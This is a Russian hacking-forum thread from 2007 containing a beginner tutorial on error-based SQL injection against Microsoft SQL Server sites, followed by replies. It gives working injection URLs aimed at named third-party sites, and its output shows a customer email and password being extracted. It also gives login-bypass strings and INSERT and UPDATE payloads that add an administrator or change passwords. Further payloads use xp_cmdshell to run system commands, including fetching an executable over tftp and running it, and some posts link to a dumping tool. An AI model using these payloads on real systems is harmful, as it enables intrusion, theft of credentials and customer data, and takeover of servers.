Авторские статьи Провидение Иньекций в MSSQL сервер от Microsoft.

Discussion in 'Статьи' started by guest3297, 3 Jan 2007.

  1. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Проведение Инъекций в MSSQL сервер от Microsoft.

    Проведение инъекций в MSSQL сервере от Microsoft.​


    Вступление.
    Начнем, пожалуй, с вывода ошибок, и так, чем же отличается? - выводом ошибок у mysql и mssql. В mysql можно отключить вывод ошибок, в mssql этого сделать нельзя единственное что можно реализовать это редирект при выводе ошибки. В mssql вывод данных в mssql гораздо более проблематичный чем mysql (выводится только 1 переменная всегда), при этом не все данные из бд можно бывает вывести, иногда не выводяться колонки с кодировкой date int и др. Многие считают что сделать полноценный дамп базы через mssql иньекцию невозможно, но это не так, дальше я попытаюсь рассказать вам все тонкости проведения sql иньекций в msql.

    Мы будем рассматривать иньекции на asp aspx cfm (c php mssql ведет себя чуть по другому), так же не будем забывать что админ может просто изменить в конфигах сервера обработку mime/type и расширение файла может любым, но это не введет нас в заблуждение. Если иньекция есть то мы ее найдем. В плюс можно отнести и то что на msql не может существовать blind (слепых) иньекций.

    Вывод ошибок.

    Приступим к поиску непосредственно самих иньекций. И начнем с изучения ошибок которые выводит mssql в ответ на наши извращения.
    Рассмотрим данный урл
    http://www.psdata.no/ps.asp?it=1'

    Code:
    Microsoft OLE DB Provider for SQL Server error '80040e14'
    
    Line 1: Incorrect syntax near 'NO'.
    
    /prodDetails.asp, line 1282 
    Значит мы нашли вывод ошибки, но это еще не означает что получится изменить запрос к бд.

    Проверяем на нашиличие иньекции:


    Для того, что бы проверить, надо что-нибудь вывести, для этого используем подзапрос, и так что же мы можем вывести:

    1 or 1=@@version-- - Версия
    1 or 1=(select db_name())-- - Имя Базы Данных текущего юзера.
    1 or 1=(select system_user)-- - Имя юзера владельца данной базой.


    Но в нашем случае нам придется слегка видоизменить запрос для его работоспособности...
    http://www.psdata.no/ps.asp?it=1' or 1=(select db_name())--
    В ответ получим ошибку:
    Code:
    Microsoft OLE DB Provider for SQL Server error '80040e07'
    
    Syntax error converting the nvarchar value '[B]fshop[/B]' to a column of data type int.
    
    /prodDetails.asp, line 1282 
    где fshop имя Базы Данных текущего юзера.

    Поиск таблиц и колонок.


    В mssql есть база данных в которой хранится информация о всех таблицах и колонках во всех бд данного сервера название ей INFORMATION_SCHEMA. Интересуют нас в ней 2 таблицы TABLES и COLUMNS. И так составим запрос:
    1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--

    В нашем случае запрос будет такой.

    http://www.psdata.no/ps.asp?it=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--

    В ответ мы получим:
    Code:
    Microsoft OLE DB Provider for SQL Server error '80040e07'
    
    Syntax error converting the nvarchar value '[B]tblMenuTCL[/B]' to a column of data type int.
    
    /prodDetails.asp, line 1282 
    Где tblMenuTCL одна из таблиц. Найдем интересующую нас таблицу методом перебора через NOT IN

    http://www.psdata.no/ps.asp?it=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('tblMenuTCL'))--

    Получаем ошибку:
    Code:
    Microsoft OLE DB Provider for SQL Server error '80040e07'
    
    Syntax error converting the nvarchar value '[B]tblTCL_TEST1[/B]' to a column of data type int.
    
    /prodDetails.asp, line 1282 
    Где tblTCL_TEST1 имя второй таблицы. Далее, перебираем до той таблицы которая нам будет нужна. Дальнейший перебор осуществляется так:

    1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1','table2',........,'table50'))--

    Теперь когда мы нашли нужную таблицу надо узнать ее колонки что бы реализовать вывод данных для этого используем похожий запрос

    1+or+1=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_ SCHEMA.COLUMNS+WHERE+TABLE_NAME='table_name'+AND+C OLU MN_NAME+NOT+IN+('column','column2',.....,'column50'))--

    Вывод данных.


    После того как мы узнали структуру базы данных приступим к выводу данных. Для примера я возьму иньекцию на другом сайте и выведу оттуда что нибудь
    меня заинтересовали данные колонки:
    Code:
    CustID
    EmailAddress
    Password
    Приступим к составлению запроса для начала выведем 1 из значений.

    http://www.ast-ss.com/dev/qa_search/full_text.asp?ID=1+or+1=(SELECT+TOP+1+EmailAddress+from+Customers)--

    Code:
    Microsoft OLE DB Provider for SQL Server error '80040e07'
    
    Syntax error converting the varchar value '[B][email protected][/B]' to a column of data type int.
    
    /dev/qa_search/full_text.asp, line 23
    
    Что же попробуем вывести все данные которые нас интересуют в 1 запросе, для этого составляем запрос

    http://www.ast-ss.com/dev/qa_search/full_text.asp?ID=1+or+1=(SELECT+TOP+1+cast(EmailAddress+as+nvarchar)%2B%27%3A%27%2Bcast(Password+as+nvarchar)+from+Customers)--
    Code:
    Microsoft OLE DB Provider for SQL Server error '80040e07'
    
    Syntax error converting the nvarchar value '[B][email protected]:fzr1000r1[/B]' to a column of data type int.
    
    /dev/qa_search/full_text.asp, line 23 
    Отлично все что нам надо... но это только 1 строка из всей сможем ли мы посмотреть другие для этого используем простой запрос where:

    http://www.ast-ss.com/dev/qa_search/full_text.asp?ID=1+or+1=(SELECT+TOP+1+cast(EmailAddress+as+nvarchar)%2B%27%3A%27%2Bcast(Password+as+nvarchar)+from+Customers+where+CustID=3)--

    Мы получили совсем другую строку ту в которой CustID=3 так мы можем вывести всех юзеров. Но возникает вопрос, как же все-таки сдампить базу. Для этого существуют специальные скрипты которые перебирают все CustID (в нашем примере) и записывают все в файл без лишнего мусора.
    Теперь непосредственно о том как мы обьеденяем данные используем мы cast() синтаксис которого cast(perm as encode), далее %2B%27%3A%27%2B это у нас и есть : между выводимыми данными в раскодированном виде выглядит так +':'+.

    Исполнение команд.


    Еще мы можем исполнять комады если юзеру под которым запущена база достаточно прав, как правило, это только юзер sa. Вот списочек процедур которые при определенных условиях мы сможем использывать:
    Code:
    xp_enumgroups (группы из ОС Windows)
    xp_ntsec_enumdomains (список доменов сети)
    xp_enumdsn (источники данных ODBC)
    xp_loginconfig (инфо о пользователе)
    xp_logininfo (все пользователи, залогинившиеся на данный момент в системе)
    xp_msver (версия SQL сервера)
    xp_cmdshell <команда> (исполнение файла через cmd.exe)
    xp_servicecontrol <действие>,<служба> (запускает или останавливает указанные процесс)
    xp_terminate_process <идентификатор процесса> (закрытие процесса по его ProcessID)
    xp_startmail, xp_sendmail (обращение к потовому демону sendmail)
    sp_makewebtask (выполнение команды html вида)
    Теперь как же это чудо нам вставить в запрос
    ;exec master..xp_cmdshell 'dir c:\'--
    иногда
    ';exec master..xp_cmdshell 'dir c:\'--

    Если вы задаите вопрос что же можно сделать то посоветую вам обратиться к help cmd.exe, лично использую только 1 метод добавление юзера.

    POST Иньекции.


    Конечно же затронем тему иньекций постом. в отличии от mysql, mssql выведет ошибку и мы можем с ней точно так же работать как и с обычной get иньекцией тоесть выводить данные из базы данных. Если же мы хотим просто обойти авторизацию то и используем подобные комбинации в полях логина и пароля:
    Code:
    ' or 1=1--
    " or 1=1--
    or 1=1--
    ' or '1'='1
    " or "1"="1
    ') or ('1'='1
    Отсупления.


    И так несколько моих советов по инжектированию:

    1) Ошибка очень многих использывать в mssql union
    Например тут:
    http://www.accessdata.fda.gov/scripts/cder/onctools/studies.cfm?ID=1+union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0--
    хотя тут легче работать с подзапросами
    http://www.accessdata.fda.gov/scripts/cder/onctools/studies.cfm?ID=1+or+1=@@version--

    2) не забывайте исользывать прерывание запроса в конце --

    3) При поиске иньекции методом описанным мной то есть подставляем к параметру or+1=@@version-- пробуйте разные комбинации например
    '+or+1=@@version--
    ')+or+1=@@version--
    "+or+1=@@version--
    и т.д.

    4) Почему использывать именно @@version?
    Потому что выводит данные в несколько строк и их легко заметить как например в данном запросе на aspx
    http://barijessence.com/?Page=ModelShow&ProductID=1+or+1=@@version--

    5)Что следует почитать?
    _http://injection.rulezz.ru/
    _http://www.securitylab.ru/analytics/216211.php
    _http://www.securitylab.ru/analytics/216332.php
    _http://www.securitylab.ru/analytics/216333.php
    _http://www.securitylab.ru/analytics/216344.php
    Так же статьи на forum.antichat.ru

    Статья расчитана на начинающих.
    И справкой для Всех остальных :)
    [ cash ] Hack-Shop.Org.Ru (c)​

     
    #1 guest3297, 3 Jan 2007
    Last edited by a moderator: 2 Oct 2014
    33 people like this.
  2. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    да ладно. а mysql ошибок не выводит? о_0
     
    6 people like this.
  3. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    2_Great_
    В большинстве авторизацый которые я встречал (именно авторизация про них говорил) обходился ' or 1=1/*.

    Обновил все о чем писали.


    Исправил граматические ошибки спасибо Thanat0z
     
    #3 guest3297, 7 Jan 2007
    Last edited: 12 Jan 2007
  4. halkfild

    halkfild Members of Antichat

    Joined:
    11 Nov 2005
    Messages:
    365
    Likes Received:
    578
    Reputations:
    313
    нужна вторая часть..

    и вопрос еще почему при выполнении подзапроса
    (SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)
    пишет ошибку
    Incorrect syntax near the keyword 'top'.

    все до вложеного правильно..
     
    _________________________
    1 person likes this.
  5. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Продолжение статьи:

    Класcификация ошибок в Базах Данных от Microsoft.


    Рассмотрим 3 версии самых популярных ошибок в asp.

    Для начала рассмотрим те ошибки с которыми мы ничего сделать не можем.
    И так по ключевым словам:

    1)
    Microsoft Jet Database
    2) VbScript
    3) JetDataBase
    4) "Потерянный параметр"

    Первые 3 класса ошибок образуют отдельную группу. Собственно с чем мы имеем дело. Во всех 3 Примерах мы имеем дело с базой данных Microsoft Jet Database Engine. Как мы видим работает она на Access + VB. Языка как такового в запросах там не используется. В этих случаях мы не можем провести инъекцию так как:
    1) Не будет вывода.
    2) Запросы передаются на очень низком уровне.
    3) Единственное что на мой взгляд тут можно сделать это стресс тест на переполнение буфера в отдельных компонентах которые в крупных компаниях пишут сами.
    База данных в таких случаях хранится в файле *.mdb, который обязательно находится на веб сервере вместе с web скриптами. Протокол передачи запросов между базой и веб приложениями я не изучал.
    Часто встречал сервера где исользуется обычный mssql и JetDB так что если в первый раз вы определили данный вид базы не стоит расстраиваться, может еще есть шансы на успех.
    Редактировать и открывать файлы базы данных можно в Microsoft Office Acceess.

    Теперь рассмотрим
    "Потерянный параметр".
    Это я встречал на всех версиях Серверов от Microsoft и так и не разобрался с чем собственно это связанно. При попытке инъекции запроса с нарушением синтаксиса Сервер возвращает ошибку с некорректным параметром. Например

    При url
    В большинстве случаев это из-за фильтрации, для меня это самое логическое объяснение. Но это не всегда. Лично я встречал случай когда.
    Если это так, то мы составим запрос.
    При этом если в ошибке параметр исчезает и запрос является верным, то мы можем составить далее правильный по синтаксису запрос.
    Но в большинстве случаев это именно фильтрация входяшего параметра, и только потом передача его в с другим "именем" в базу данных.

    Идеальная ошибка при составлении не корректного запроса к бд будет.


    Именно эта ошибка 80040e14, хотя встречаются разные. Здесь с вероятностью 95% есть инъекция. Так же не забываем, что если ошибка возникает без манипуляции вами параметров скрипта, то это скорей всего ошибка в настройках скрипта, а не инъекция.

    Коды ошибок :
    http://msdn.microsoft.com/library/ja/default.asp?url=/library/ja/adoce31/htm/ado30ref_100.asp


    Данной статьей я хотел показать в каких случаях возможна инъекция да бы на форуме не было одинаковых тем.
    Служит продолжением статьи http://forum.antichat.ru/showthread.php?t=30501



    [ cash ] Hack-Shop.Org.Ru (c)​
     
    #5 guest3297, 10 Apr 2007
    Last edited: 8 Aug 2007
    2 people like this.
  6. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Реализация скрипта для просмотра и дампинга баз, через mssql-inj.

    Исходников не будет.

    http://pidor.in/mssql.php
     
    2 people like this.
  7. Shred

    Shred Elder - Старейшина

    Joined:
    22 May 2006
    Messages:
    200
    Likes Received:
    29
    Reputations:
    0
    Кто-нибуть ещё может предложить способы для Post Иньекции? Наткнулся на страницу авториции, ничего из перечисленного не прокатило, неужели всё так жёстко фильтруется?
     
  8. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Не так пробывал значит.
     
  9. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    модификация данных в таблицах

    так же хочу добавить от себя, в отличае от mysql в mssql возможна модификация данных в таблицах

    INSERT

    Команда INSERT вставляет новые записи в существующую таблицу. Тоесть мы можем найдя таблицу admins добавить нового пользователя, то есть себя, не нанося существенный вред данным
    Рассмотрим на примере:
    Code:
    http://site.ru/index.asp?id=1; INSERT INTO admins (id, login, password) VALUES (5,'Pantera','qwerty')--
    В данном примере я добавил нового админа с id 5, логином Pantera и паролем qwerty;


    UPDATE

    Команда UPDATE обновляет столбцы таблицы table в соответствии с их новыми значениями
    в строках существующей таблицы.

    Это значит то, что мы можем поменять к примеру пароль конкретного юзера на свой
    Рассмотрим на примере:
    Допустим мы нашли таблицу с названием admins и наша задача поменять пароль адмну с логином admin
    делаеться это вот так:
    Code:
    http://site.ru/index.asp?id=1; UPDATE admins SET password = 'newpass' WHERE name='admin'--
     
    #9 _Pantera_, 5 Jul 2007
    Last edited: 5 Jul 2007
    2 people like this.
  10. Shred

    Shred Elder - Старейшина

    Joined:
    22 May 2006
    Messages:
    200
    Likes Received:
    29
    Reputations:
    0
    всмысле не так пробовал? :)
    просто поочерёдно тулил в поля логин и пасс предоставленные значения ("' or 1=1--" итд). Скрипт вообще никак не ругался, только говорил что лониг и пароль не верны. Причём если вставлять только в логин то скрипт сразу выдавал, что мол пароль не введён. Думал что эта проверка реализована ява скриптом, но в исходниках толком ничего не нашёл, хотя правда бегло просмартел. Нашёл названия переменных логина и пароля и присваивал им значения прямо в адресной строке браузера - тоже ничего. И ещё, возможно ли просто сохранить страничку, вручную поменять метод передачи, ну подставить полный путь к скрипту и таким образом передавать атутентификационные данные, будет ли это нормально (или ненормально :)) воспринимать скрипт?
     
  11. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    ява фильтрация обходитьсся на уровне посылки пакета.
    Если нету ошибки то с чего ты взял что есть иньекция.
    ' or 1=1--

    Придает иситаное значение передаваемому запросу так что или ты авторизуешься или нет.
     
  12. Shred

    Shred Elder - Старейшина

    Joined:
    22 May 2006
    Messages:
    200
    Likes Received:
    29
    Reputations:
    0
    а если просто сохранить страничку и вырезать с неё ява скрипт блок, а потом просто запустить этот сохранённый фалик? Думаю так проще.
    дак в том, то и прикол, что нет ошибок и инъекции соответственно тоже, именно поэтому спрашивал может есть ещё какие-либо приёмы, кроме уже описанных :)
    у меня обычно такие запросы приводили не к авторизации, а просто к ошибке.
     
  13. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Просто перехватить пакет исправить данные и отправить дальше.

    Нет универсального способа.
     
  14. Shred

    Shred Elder - Старейшина

    Joined:
    22 May 2006
    Messages:
    200
    Likes Received:
    29
    Reputations:
    0
    этож нада знать как перехватывать, исправлять и передавать дальше :)

    А всё таки не подскажешь, может известы ещё пару примеров, что можно втулить в форму авторизации?
     
  15. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    Выполнение системных команд через Sql запрос

    Тема которую почти никогда не затрагивают в статьях про MSSQL сервер от Microsoft.
    При наличии соответствующих прав, хакер может выполнить произвольную команду.
    Вот пример:
    Code:
    http://site.ru/news.php?id=1;+exec+master..xp_cmdshell+'dir'--
    Выводим список файлов и под-папок из текущей папки

    Также можно залить любой файл на уязвимый сервер
    Code:
    http://site.ru/news.php?id=1;+exec+master..xp_cmdshell+'tftp –i 127.0.0.1 get file.exe'--
    127.0.0.1 - это сервер на котором лежит наш file.exe
    и выполнить его
    Code:
    http://site.ru/news.php?id=1;+exec+master..xp_cmdshell+'file.exe'--
     
    #15 _Pantera_, 9 Jul 2007
    Last edited: 9 Jul 2007
    1 person likes this.
  16. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    http://site.ru/news.php?id=1;+exec+master..xp_cmdshell+'dir'

    Че куда ты выведешь???
    Запрос прервать коментариями не надо...

    Короче почитал поржал...
     
  17. dudits

    dudits Banned

    Joined:
    2 Jun 2007
    Messages:
    0
    Likes Received:
    5
    Reputations:
    0
    почему при выполнении подзапроса
    (SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)
    пишет ошибку
    Incorrect syntax near the keyword 'top'.

    в данном случае сайт

    http://info.l2r.ru/?part=items&id=1+or+1=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='table_name'+AND+COLUMN_NAME+NOT+IN+('column'))--
     
  18. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    UPDATE!
    Уневальсальный дампер для mssql через иньекцию.

    http://slil.ru/24655320
    http://www.rapidshare.ru/350872


    Видео тут.
    Собсвенно продолжение статьи и то о чем все просили.

    http://hack-shop.org.ru/mssql.php
     
    #18 guest3297, 23 Jul 2007
    Last edited: 9 Sep 2007
    1 person likes this.
  19. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    UPDATE!
    Официальный хелп от майкрософт по ADO (Jet Database). На русском.
    http://support.microsoft.com/ph/1596
     
  20. che_ha

    che_ha New Member

    Joined:
    8 Aug 2007
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    А что делать если фильтрируюеться знак ( ' ) , а когда вожу запрос через char() выдает ошибку 'The char function requires 1 arguments' ??